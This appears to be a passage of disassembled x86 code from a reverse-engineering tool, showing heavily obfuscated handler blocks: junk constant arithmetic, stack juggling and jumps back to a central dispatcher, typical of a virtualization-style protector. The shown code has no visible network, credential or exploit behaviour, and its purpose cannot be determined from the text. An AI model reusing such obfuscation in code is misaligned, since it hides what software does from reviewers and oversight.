		jmp	loc_5ABC84
; ---------------------------------------------------------------------------


loc_5AB444:				; CODE XREF: sub_5A55E5+63E3j
		mov	esp, [esp+14h+var_14]


loc_5AB447:				; CODE XREF: sub_5A55E5+13A5Ej
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		jmp	loc_5B4215
; ---------------------------------------------------------------------------


loc_5AB45E:				; CODE XREF: sub_5A55E5+116A8j
		sub	esp, 4
		mov	[esp+20h+var_22+2], ecx
		push	13A8h
		mov	[esp+24h+var_26+2], esp
		add	[esp+24h+var_26+2], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_5ACCB3
; ---------------------------------------------------------------------------


loc_5AB47C:				; CODE XREF: sub_5A55E5+D131j
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB487:				; CODE XREF: sub_5A55E5+194ACj
		pop	cx
		mov	edx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5BC4B2
; ---------------------------------------------------------------------------


loc_5AB497:				; CODE XREF: sub_5A55E5+13B25j
		pop	ebp
		push	ebx
		push	[esp+16h+var_14+2]
		pop	ebx
		pop	[esp+16h+var_18+2]
		mov	esp, [esp+12h+var_14+2]
		xor	word ptr [esp+12h+var_14+2], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB4AE:				; CODE XREF: sub_5A55E5+A357j
		mov	ebx, esp
		push	edx
		mov	edx, 4
		sub	ebx, 1FA45AD3h
		add	ebx, edx
		add	ebx, 1FA45AD3h
		mov	edx, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5AA228
; ---------------------------------------------------------------------------


loc_5AB4DA:				; DATA XREF: sub_5A55E5+41CFo
		mov	ax, word ptr [esp+10h+var_10]
		push	1386h
		mov	[esp+14h+var_14], ebp
		push	esp
		pop	ebp
		push	19BCh
		jmp	loc_5BBA61
; ---------------------------------------------------------------------------


loc_5AB4F2:				; CODE XREF: sub_5A55E5+9091j
		push	ecx
		mov	cl, 0AFh
		add	bl, cl
		jmp	loc_5B2487
; ---------------------------------------------------------------------------


loc_5AB4FC:				; CODE XREF: sub_5A55E5+6089j
		push	[esp+1Ch+var_1C]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		jmp	loc_5BA8EB
; ---------------------------------------------------------------------------


loc_5AB51C:				; CODE XREF: sub_5A55E5+179DBj
		or	ebp, 29F435AFh
		inc	ebp
		shr	ebp, 4
		inc	ebp
		xor	ebp, 7672D548h
		xor	ecx, ebp
		pop	ebp
		jmp	loc_5BBB96
; ---------------------------------------------------------------------------


loc_5AB535:				; CODE XREF: sub_5A55E5+1551Ej
		add	eax, 4D071367h
		push	ebx
		mov	ebx, 22251562h
		shl	ebx, 6
		not	ebx
		sub	ebx, 0E3B76ABh
		add	eax, ebx
		pop	ebx
		pop	edi
		jmp	loc_5B6E71
; ---------------------------------------------------------------------------


loc_5AB554:				; CODE XREF: sub_5A55E5+F151j
		xor	ebx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebx
		jmp	loc_5BA587
; ---------------------------------------------------------------------------


loc_5AB55F:				; CODE XREF: sub_5A55E5+F5C9j
		add	esi, 0E67C8A11h
		sub	ebp, 4BBB2360h
		add	ebp, 252F3905h
		jmp	loc_5B3ADF
; ---------------------------------------------------------------------------


loc_5AB576:				; CODE XREF: sub_5A55E5+ED32j
		sub	esp, 4
		sub	esp, 4
		mov	[esp+20h+var_22+2], esp
		push	eax
		mov	eax, 4
		add	[esp+24h+var_22+2], eax
		pop	eax
		pop	[esp+20h+var_22+2]
		add	[esp+1Ch+var_1C], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5BA33C
; ---------------------------------------------------------------------------


loc_5AB5A9:				; CODE XREF: sub_5A55E5+D348j
		xor	ebp, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebp
		xor	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	cx, word ptr [esp+18h+var_18]
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ecx
		push	esp
		pop	ecx
		push	372Dh
		mov	[esp+1Ch+var_1C], esi
		sub	esp, 4
		mov	[esp+20h+var_22+2], edi
		push	26514386h
		jmp	loc_5AB254
; ---------------------------------------------------------------------------


loc_5AB5F1:				; CODE XREF: sub_5A55E5+123FAj
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		jmp	loc_5AEEE4
; ---------------------------------------------------------------------------


loc_5AB602:				; CODE XREF: sub_5A55E5+7CACj
		xchg	ebp, [esp+28h+var_2A+2]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], esi
		jmp	loc_5AEED4
; ---------------------------------------------------------------------------


loc_5AB617:				; CODE XREF: sub_5A55E5+9736j
		push	ecx
		pushf
		jmp	loc_5B1DC1
; ---------------------------------------------------------------------------


loc_5AB61E:				; CODE XREF: sub_5A55E5+A2E1j
		sub	edx, 2670167Fh
		sub	edx, ecx
		add	edx, 2670167Fh
		jmp	loc_5BAB22
; ---------------------------------------------------------------------------


loc_5AB631:				; CODE XREF: sub_5A55E5+95F2j
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ecx
		mov	ch, 3Eh
		add	dl, ch
		pop	ecx
		push	eax
		jmp	loc_5B7409
; ---------------------------------------------------------------------------


loc_5AB645:				; CODE XREF: sub_5A55E5+13AB0j
		sub	ebx, 6D0006F5h
		add	ebx, 71837C72h
		add	ebx, 4F7F539Ah
		add	ebx, edi
		sub	ebx, 4F7F539Ah
		push	ecx
		mov	ecx, 71837C72h
		sub	ebx, ecx
		pop	ecx
		add	ebx, 6D0006F5h
		jmp	loc_5AB4FC
; ---------------------------------------------------------------------------


loc_5AB673:				; CODE XREF: sub_5A55E5+17D85j
		mov	edx, [esp+38h+var_3A+2]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5BC8CB
; ---------------------------------------------------------------------------


loc_5AB67E:				; CODE XREF: sub_5A55E5+5884j
		pop	edx
		sub	ebx, ebp
		push	[esp+36h+var_36]
		pop	ebp
		add	esp, 4
		push	0
		sub	[esp+36h+var_36], 2FFA64F7h
		sub	[esp+36h+var_36], ebx
		add	[esp+36h+var_36], 2FFA64F7h
		mov	ebx, [esp+36h+var_36]
		jmp	loc_5B8EF7
; ---------------------------------------------------------------------------


loc_5AB6A9:				; CODE XREF: sub_5A55E5+DA6Bj
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ecx, edi
		pop	edi
		push	eax
		push	esi
		mov	esi, 4EA06E5Bh
		jmp	loc_5B84FB
; ---------------------------------------------------------------------------


loc_5AB6BE:				; DATA XREF: sub_5A55E5+41C7o
		mov	ax, word ptr [esp+10h+var_10]
		push	edx
		push	1E7Bh
		mov	[esp+18h+var_18], esp
		add	[esp+18h+var_18], 4
		push	[esp+18h+var_18]
		pop	edx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		push	1CCAh
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5B5A04
; ---------------------------------------------------------------------------


loc_5AB70E:				; CODE XREF: sub_5A55E5+8633j
		push	ebp
		jmp	loc_5AE6ED
; ---------------------------------------------------------------------------


loc_5AB714:				; CODE XREF: sub_5A55E5+10E61j
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		jmp	loc_5B149A
; ---------------------------------------------------------------------------


loc_5AB71F:				; CODE XREF: sub_5A55E5+D211j
		add	esp, 4
		push	[esp+1Ch+var_1C]
		pop	eax
		add	esp, 4
		pop	ebx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB72F:				; CODE XREF: sub_5A55E5+BCC5j
		add	esp, 4
		add	ebp, edi
		jmp	loc_5AC4FF
; ---------------------------------------------------------------------------


loc_5AB739:				; CODE XREF: sub_5A55E5+16CF3j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB73E:				; CODE XREF: sub_5A55E5+8832j
		add	edi, 10BE71C2h
		jmp	loc_5B6950
; ---------------------------------------------------------------------------


loc_5AB749:				; CODE XREF: sub_5A55E5+A03Cj
		not	edx
		xchg	edx, ebp
		sub	ebp, 2700406Eh
		push	ecx
		mov	ecx, 0CBC0E712h
		xor	ebp, ecx
		pop	ecx
		mov	esi, ebp
		pop	ebp
		shr	esi, 6
		xor	esi, 227D6Eh
		sub	ebp, 20A55456h
		jmp	loc_5B75AD
; ---------------------------------------------------------------------------


loc_5AB773:				; CODE XREF: sub_5A55E5+50ACj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB778:				; CODE XREF: sub_5A55E5+9FA8j
		push	ecx
		pop	esi
		pop	ecx
		sub	ebp, esi
		mov	esi, [esp+5Ah+var_5C+2]
		push	ebx
		jmp	loc_5AFDD9
; ---------------------------------------------------------------------------


loc_5AB786:				; CODE XREF: sub_5A55E5+E1E2j
		sub	bl, dl
		sub	bl, 2Eh
		sub	bl, 0AEh
		pop	edx
		jmp	loc_5B026A
; ---------------------------------------------------------------------------


loc_5AB794:				; CODE XREF: sub_5A55E5+7373j
		mov	edx, 71FD24B0h
		sub	edx, 5DF30DC1h
		dec	edx
		sub	edx, 126EF92Ch
		sub	ebx, edx
		pop	edx
		add	ebx, eax
		jmp	loc_5B1DA5
; ---------------------------------------------------------------------------


loc_5AB7B0:				; CODE XREF: sub_5A55E5+4F14j
		xor	ebp, ebx
		pop	ebx
		xor	eax, ebp
		pop	ebp
		shl	eax, 2
		jmp	loc_5B6392
; ---------------------------------------------------------------------------


loc_5AB7BE:				; CODE XREF: sub_5A55E5+13714j
		pop	ecx
		jmp	loc_5BDCF2
; ---------------------------------------------------------------------------


loc_5AB7C4:				; CODE XREF: sub_5A55E5+1825Ej
		not	ecx
		inc	ecx
		jmp	loc_5B85B1
; ---------------------------------------------------------------------------


loc_5AB7CC:				; CODE XREF: sub_5A55E5+79DCj
		push	eax
		push	ebp
		mov	ebp, 33EE5BD0h
		mov	eax, ebp
		mov	ebp, [esp+60h+var_60]
		add	esp, 4
		add	esi, 75711B17h
		sub	esi, eax
		push	edi
		mov	edi, 7A421129h
		and	edi, 5F93036Eh
		push	ebp
		mov	ebp, 64377BEh
		shr	ebp, 7
		xor	ebp, 4E65340h
		jmp	loc_5B550C
; ---------------------------------------------------------------------------


loc_5AB806:				; CODE XREF: sub_5A55E5+19ABAj
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp+68h+var_68]
		pop	esp
		mov	[esp+64h+var_64], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+64h+var_64]
		mov	esp, [esp+64h+var_64]
		jmp	loc_5B20F6
; ---------------------------------------------------------------------------


loc_5AB835:				; CODE XREF: sub_5A55E5+8D38j
		mov	ch, 0F9h
		xor	ch, 6Bh
		xor	ch, 0EDh
		dec	ch
		jmp	loc_5AEBCC
; ---------------------------------------------------------------------------


loc_5AB844:				; CODE XREF: sub_5A55E5+1660Dj
		sub	ebp, eax
		jmp	loc_5AA1E9
; ---------------------------------------------------------------------------


loc_5AB84B:				; CODE XREF: sub_5A55E5+DD39j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+64h+var_64]
		pop	esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_5ADE85
; ---------------------------------------------------------------------------


loc_5AB86C:				; DATA XREF: sub_5A55E5+41C3o
		mov	esp, [esp+10h+var_10]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB874:				; CODE XREF: sub_5A55E5+A0BEj
		push	47D2h
		mov	[esp+14h+var_14], ecx
		jmp	loc_5B50B6
; ---------------------------------------------------------------------------


loc_5AB881:				; CODE XREF: sub_5A55E5+7AB7j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5AC77E
; ---------------------------------------------------------------------------


loc_5AB89A:				; CODE XREF: sub_5A55E5+C164j
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 1269120Dh
		add	ebx, 6375D44h
		add	ebx, eax
		sub	ebx, 6375D44h
		add	ebx, 1269120Dh
		add	ebx, 1FAC45D5h
		push	44C4h
		mov	[esp+18h+var_18], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 2ECF0531h
		or	esi, 5F3B1FCEh
		add	esi, 8000E005h
		jmp	loc_5BD241
; ---------------------------------------------------------------------------


loc_5AB8E3:				; CODE XREF: sub_5A55E5+C425j
		add	esp, 4
		push	eax
		jmp	loc_5BA59E
; ---------------------------------------------------------------------------


loc_5AB8EF:				; CODE XREF: sub_5A55E5+B51Dj
		pop	ebp
		jmp	loc_5AA5AB
; ---------------------------------------------------------------------------


loc_5AB8F5:				; CODE XREF: sub_5A55E5+E269j
		pop	edi
		add	edi, 4
		jmp	loc_5BA9DD
; ---------------------------------------------------------------------------


loc_5AB901:				; CODE XREF: sub_5A55E5+57CCj
		sub	ebp, 6DA6074Eh
		xor	ebp, 0B47CFC23h
		mov	eax, ebp
		pop	ebp
		add	ebp, 52942413h
		sub	ebp, 7C80299h
		add	ebp, eax
		add	ebp, 7C80299h
		sub	ebp, 52942413h
		jmp	loc_5AF10B
; ---------------------------------------------------------------------------


loc_5AB92F:				; CODE XREF: sub_5A55E5+5A68j
		pop	edx
		xchg	edi, [esp+28h+var_2A+2]
		pop	esp
		push	edx
		push	ebx
		push	edx
		mov	edx, ebp
		push	76DEh
		mov	[esp+34h+var_36+2], edx
		pop	ebx
		pop	edx
		mov	edx, ebx
		pop	ebx
		mov	eax, edx
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		mov	ebp, [esp+24h+var_26+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	756Ah
		mov	[esp+2Ch+var_2E+2], eax
		push	[esp+2Ch+var_2A+2]
		pop	eax
		jmp	loc_5B326F
; ---------------------------------------------------------------------------


loc_5AB970:				; CODE XREF: sub_5A55E5+7B46j
		pop	edx
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5B76E8
; ---------------------------------------------------------------------------


loc_5AB97F:				; CODE XREF: sub_5A55E5+8E45j
		pop	edx
		shr	edi, 6
		jmp	loc_5ABC76
; ---------------------------------------------------------------------------


loc_5AB988:				; CODE XREF: sub_5A55E5+112F1j
		mov	esi, 4
		jmp	loc_5BCF08
; ---------------------------------------------------------------------------


loc_5AB992:				; CODE XREF: sub_5A55E5+8D64j
		neg	ecx
		jmp	loc_5AE5CD
; ---------------------------------------------------------------------------


loc_5AB999:				; CODE XREF: sub_5A55E5+19E07j
		add	eax, ecx
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_5BE244
; ---------------------------------------------------------------------------


loc_5AB9B4:				; CODE XREF: sub_5A55E5+DB3Cj
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_5AB444
; ---------------------------------------------------------------------------


loc_5AB9CD:				; CODE XREF: sub_5A55E5+10619j
		push	edi
		mov	edi, 51852FFFh
		or	edi, 5BDA3735h
		push	ebx
		mov	ebx, 3BE7412Dh
		sub	edi, ebx
		pop	ebx
		xor	edi, 0B006504h
		not	edi
		jmp	loc_5BD049
; ---------------------------------------------------------------------------


loc_5AB9EF:				; CODE XREF: sub_5A55E5+9A28j
		xchg	ebx, [esp+20h+var_22+2]
		pop	esp
		pop	edx
		push	edi
		jmp	loc_5B6C5D
; ---------------------------------------------------------------------------


loc_5AB9FA:				; CODE XREF: sub_5A55E5+CE25j
		xchg	edx, [esp+1Ch+var_1C]
		jmp	loc_5BEA96
; ---------------------------------------------------------------------------


loc_5ABA02:				; CODE XREF: sub_5A55E5+4D33j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5B3FC1
; ---------------------------------------------------------------------------


loc_5ABA0F:				; CODE XREF: sub_5A55E5+12C0Ej
		add	esp, 4
		jmp	loc_5BE1D6
; ---------------------------------------------------------------------------


loc_5ABA17:				; CODE XREF: sub_5A55E5+19454j
		add	edi, 7E162B27h
		push	[esp+40h+var_42+2]
		pop	esi
		add	esp, 4
		jmp	loc_5AEC6F
; ---------------------------------------------------------------------------


loc_5ABA29:				; CODE XREF: sub_5A55E5+4892j
		mov	eax, 58265400h
		xor	eax, 58265404h
		add	ebx, 420A3ECDh
		add	ebx, eax
		jmp	loc_5BE656
; ---------------------------------------------------------------------------


loc_5ABA40:				; CODE XREF: sub_5A55E5+DA90j
		sub	ebx, edx
		pop	edx
		jmp	loc_5BECB2
; ---------------------------------------------------------------------------


loc_5ABA48:				; CODE XREF: sub_5A55E5+CAA5j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		add	esp, 4


loc_5ABA5A:				; CODE XREF: sub_5A55E5+10E32j
					; sub_5A55E5+14D3Ej
		push	ebx
		jmp	loc_5ADD45
; ---------------------------------------------------------------------------


loc_5ABA60:				; CODE XREF: sub_5A55E5+7215j
		mov	[esp+46h+var_46], ecx
		jmp	loc_5ACC7A
; ---------------------------------------------------------------------------


loc_5ABA68:				; CODE XREF: sub_5A55E5+5AA6j
		mov	esp, [esp+34h+var_36+2]
		push	ebp
		push	[esp+38h+var_36+2]
		mov	ebp, [esp+3Ch+var_3E+2]
		add	esp, 4
		pop	[esp+38h+var_3A+2]
		mov	esp, [esp+34h+var_36+2]
		shr	ecx, 2
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ebx
		push	eax
		jmp	loc_5B4379
; ---------------------------------------------------------------------------


loc_5ABA91:				; CODE XREF: sub_5A55E5+10AC1j
		push	ebp
		mov	ebp, 214A44A7h
		not	ebp
		neg	ebp
		xor	ebp, 59371055h
		neg	ebp
		shr	ebp, 5
		sub	ebp, 0CF17D2A8h
		add	edx, ebp
		pop	ebp
		pop	ebx
		pop	ecx
		push	3304h
		mov	[esp+38h+var_3A+2], edx
		mov	eax, [esp+38h+var_3A+2]
		add	esp, 4
		mov	edx, [esp+34h+var_36+2]
		push	3B78h
		jmp	loc_5B5566
; ---------------------------------------------------------------------------


loc_5ABACC:				; CODE XREF: sub_5A55E5+110BCj
		pop	edx
		add	esp, 4
		jmp	loc_5B98C8
; ---------------------------------------------------------------------------


loc_5ABAD5:				; CODE XREF: sub_5A55E5+108D6j
		mov	esi, 3FBD322Eh
		add	esi, 6F8116F4h
		and	esi, 5A83736Fh
		add	esi, 4F9DD84Bh
		add	edx, esi
		jmp	loc_5AB284
; ---------------------------------------------------------------------------


loc_5ABAF3:				; CODE XREF: sub_5A55E5+6C6Cj
		push	eax
		mov	eax, 59115DCBh
		not	eax
		shl	eax, 4
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		sub	eax, 98540D58h
		add	ebx, eax
		pop	eax
		mov	ecx, ebx
		pop	ebx
		add	ebp, ecx
		push	[esp+2Ch+var_2E+2]
		jmp	loc_5BA30A
; ---------------------------------------------------------------------------


loc_5ABB17:				; CODE XREF: sub_5A55E5+100D3j
		add	dh, 0C2h
		and	dh, 0Fh
		and	dh, 0E3h
		sub	dh, 1Dh
		sub	al, dh
		jmp	loc_5BDA28
; ---------------------------------------------------------------------------


loc_5ABB2A:				; CODE XREF: sub_5A55E5+A9BDj
		push	eax
		mov	eax, 741960C0h
		add	eax, 3B8C3299h
		push	ecx
		mov	ecx, 5D342F6Eh
		and	ecx, 73513E30h
		sub	ecx, 5ED15540h
		inc	ecx
		jmp	loc_5AC739
; ---------------------------------------------------------------------------


loc_5ABB4D:				; CODE XREF: sub_5A55E5+B0E0j
		add	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ebp
		jmp	loc_5AEB9E
; ---------------------------------------------------------------------------


loc_5ABB5B:				; CODE XREF: sub_5A55E5+8C72j
		xor	ecx, 2AEC3DAFh
		xor	ecx, 40458B1h
		push	esi
		mov	esi, 5D1E2258h
		and	esi, 39A64E70h
		sub	esi, 0E389E7F4h
		sub	ebx, esi
		jmp	loc_5ACF33
; ---------------------------------------------------------------------------


loc_5ABB80:				; CODE XREF: sub_5A55E5+186EEj
		mov	edi, 57320B7h
		not	edi
		sub	edi, 0AC716A47h
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], ebp
		push	eax
		mov	eax, 13F73332h
		mov	ebp, 47223ABAh
		sub	ebp, eax
		pop	eax
		push	eax
		mov	eax, 38474E36h
		sub	eax, 7920A01Eh
		sub	ebp, eax
		jmp	loc_5BBC33
; ---------------------------------------------------------------------------


loc_5ABBB6:				; CODE XREF: sub_5A55E5+10A53j
		mov	[esp+40h+var_42+2], edx
		jmp	loc_5B7772
; ---------------------------------------------------------------------------


loc_5ABBBE:				; CODE XREF: sub_5A55E5+9201j
		xor	edx, [esp+40h+var_42+2]
		jmp	loc_5AA1EF
; ---------------------------------------------------------------------------


loc_5ABBC6:				; CODE XREF: sub_5A55E5+138BFj
		add	edx, 8ED6CE58h
		mov	eax, edx
		push	[esp+40h+var_42+2]
		pop	edx
		add	esp, 4
		add	[esp+3Ch+var_3A+2], eax
		pop	eax
		jmp	loc_5AF317
; ---------------------------------------------------------------------------


loc_5ABBE2:				; CODE XREF: sub_5A55E5+14487j
		pop	ebx
		jmp	loc_5B2D23
; ---------------------------------------------------------------------------


loc_5ABBE8:				; CODE XREF: sub_5A55E5+5297j
		sub	bh, 33h
		shr	bh, 4
		jmp	loc_5ADCF7
; ---------------------------------------------------------------------------


loc_5ABBF3:				; CODE XREF: sub_5A55E5+B039j
		pop	esp
		mov	[esp+22h+var_22], edx
		sub	esp, 4
		push	esp
		pop	[esp+2Ah+var_2A]
		jmp	loc_5B1891
; ---------------------------------------------------------------------------


loc_5ABC06:				; CODE XREF: sub_5A55E5+13DB8j
		mov	esi, [esp+26h+var_26]
		add	esp, 4
		add	esi, 1
		shr	esi, 8
		push	edi
		mov	edi, 11D32F45h
		shr	edi, 5
		push	eax
		jmp	loc_5BA2F2
; ---------------------------------------------------------------------------


loc_5ABC27:				; CODE XREF: sub_5A55E5+14291j
		mov	ecx, [esp+2Ah+var_2A]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5B70AC
; ---------------------------------------------------------------------------


loc_5ABC38:				; CODE XREF: sub_5A55E5+19C73j
		mov	edi, 47CC28D3h
		add	edi, 1A7828A4h
		xor	edi, 3A4423B2h
		and	edx, edi
		pop	edi
		push	3D08h
		mov	[esp+2Eh+var_2E], edx
		inc	[esp+2Eh+var_2E]
		mov	edx, [esp+2Eh+var_2E]
		add	esp, 4
		xor	edx, 58007041h
		jmp	loc_5B071E
; ---------------------------------------------------------------------------


loc_5ABC6B:				; CODE XREF: sub_5A55E5+C82Bj
		sub	ebp, 1
		jmp	loc_5AE708
; ---------------------------------------------------------------------------


loc_5ABC76:				; CODE XREF: sub_5A55E5+639Ej
		push	ecx
		jmp	loc_5AC5CA
; ---------------------------------------------------------------------------


loc_5ABC7C:				; CODE XREF: sub_5A55E5+17BC6j
		xor	eax, edx
		pop	edx
		jmp	loc_5BF177
; ---------------------------------------------------------------------------


loc_5ABC84:				; CODE XREF: sub_5A55E5+5E5Aj
		push	9EBh
		mov	[esp+18h+var_18], ecx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		mov	ah, 0A7h
		or	ah, 17h
		neg	ah
		add	ah, 0FFh
		shl	ah, 8
		jmp	loc_5B0BCE
; ---------------------------------------------------------------------------


loc_5ABCA7:				; CODE XREF: sub_5A55E5+1144Aj
		mov	esi, 2C70519Bh
		jmp	loc_5AFB0C
; ---------------------------------------------------------------------------


loc_5ABCB1:				; CODE XREF: sub_5A55E5+7690j
		push	eax
		mov	eax, 4
		sub	ebp, eax
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ABCD0:				; CODE XREF: sub_5A55E5+92EAj
		pop	edi
		push	7452h
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 49D30FD7h
		jmp	loc_5B761D
; ---------------------------------------------------------------------------


loc_5ABCE3:				; CODE XREF: sub_5A55E5+148B0j
		sub	edx, 4C9A436Fh
		xor	esi, edx
		pop	edx
		add	ecx, esi
		pop	esi
		xor	ecx, [esp+14h+var_14]
		jmp	loc_5B960D
; ---------------------------------------------------------------------------


loc_5ABCF7:				; CODE XREF: sub_5A55E5+763Ej
		mov	word ptr [esp+14h+var_14], ax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ABD00:				; CODE XREF: sub_5A55E5+15DEDj
		xor	esi, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		shr	eax, 0Ch
		jmp	loc_5B7D60
; ---------------------------------------------------------------------------


loc_5ABD0E:				; CODE XREF: sub_5A55E5+180EFj
		add	esi, 4
		jmp	loc_5B0BC5
; ---------------------------------------------------------------------------


loc_5ABD16:				; CODE XREF: sub_5A55E5+70C7j
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	edx
		mov	dl, 73h
		or	dl, 39h
		jmp	loc_5AC1F3
; ---------------------------------------------------------------------------


loc_5ABD27:				; CODE XREF: sub_5A55E5+1994Bj
		xor	ebp, 8A27A0Fh
		jmp	loc_5B46B1
; ---------------------------------------------------------------------------


loc_5ABD32:				; CODE XREF: sub_5A55E5+9C79j
		and	ebp, 6FFB6C72h
		push	ecx
		mov	ecx, 27DF5286h
		and	ebp, ecx
		pop	ecx
		xchg	edx, ebp
		push	edx
		not	[esp+18h+var_18]
		pop	edx
		jmp	loc_5B3BBE
; ---------------------------------------------------------------------------


loc_5ABD4D:				; CODE XREF: sub_5A55E5+53E5j
		xor	ecx, 5E462206h
		add	eax, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		xchg	eax, [esp+1Ah+var_1C+2]
		jmp	loc_5A9B5B
; ---------------------------------------------------------------------------


loc_5ABD66:				; CODE XREF: sub_5A55E5+716Fj
		add	ebx, 1B338DAh
		pop	eax
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ABD7A:				; DATA XREF: sub_5A55E5+439Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+12h+var_14+2], cl
		pushf
		jmp	loc_5BE877
; ---------------------------------------------------------------------------


loc_5ABD89:				; CODE XREF: sub_5A55E5+69ADj
		pop	[esp+16h+var_18+2]
		push	eax
		jmp	loc_5B245B
; ---------------------------------------------------------------------------


loc_5ABD92:				; CODE XREF: sub_5A55E5+153A7j
		mov	esi, eax
		pop	eax
		xor	[esp+12h+var_10+2], esi
		pop	esi
		pop	esi
		jmp	loc_5ACC9B
; ---------------------------------------------------------------------------


loc_5ABDA0:				; CODE XREF: sub_5A55E5+532Ej
		sub	ebx, ebp
		add	ebx, 723031DDh
		pop	ebp
		add	ebx, 294C30C2h
		jmp	loc_5B5272
; ---------------------------------------------------------------------------


loc_5ABDB4:				; CODE XREF: sub_5A55E5+16A07j
		sub	edi, 76E97DABh
		add	edi, eax
		add	edi, 76E97DABh
		jmp	loc_5BBB87
; ---------------------------------------------------------------------------


loc_5ABDC7:				; DATA XREF: sub_5A55E5+4297o
		lodsb
		push	ecx
		jmp	loc_5B5925
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 5673h
		jmp	loc_5B8309
; ---------------------------------------------------------------------------


loc_5ABDDB:				; CODE XREF: sub_5A55E5+8F8Ej
		xor	ecx, 70E27DA2h
		push	ecx
		sub	dword ptr [esp+0], 54EF4E60h
		pop	eax
		push	ebx
		mov	ebx, 519C6CACh
		shr	ebx, 8
		shl	ebx, 2
		xor	ebx, 2DB10AF9h
		add	ebx, 27F7D317h
		jmp	loc_5A9E23
; ---------------------------------------------------------------------------


loc_5ABE07:				; CODE XREF: sub_5A55E5+74B2j
		sub	al, bl
		pop	ebx
		jmp	loc_5BE714
; ---------------------------------------------------------------------------


loc_5ABE0F:				; CODE XREF: sub_5A55E5+ABF4j
		push	dx
		jmp	loc_5BB99F
; ---------------------------------------------------------------------------


loc_5ABE16:				; CODE XREF: sub_5A55E5+B2FBj
		add	ecx, edi
		mov	edi, [esp+1Ch+var_1C]
		add	esp, 4
		push	ecx
		push	[esp+1Ch+var_18]
		pop	ecx
		jmp	loc_5B1C11
; ---------------------------------------------------------------------------


loc_5ABE29:				; CODE XREF: sub_5A55E5+16125j
		inc	byte ptr [esp+1Ch+var_1C]
		pushf
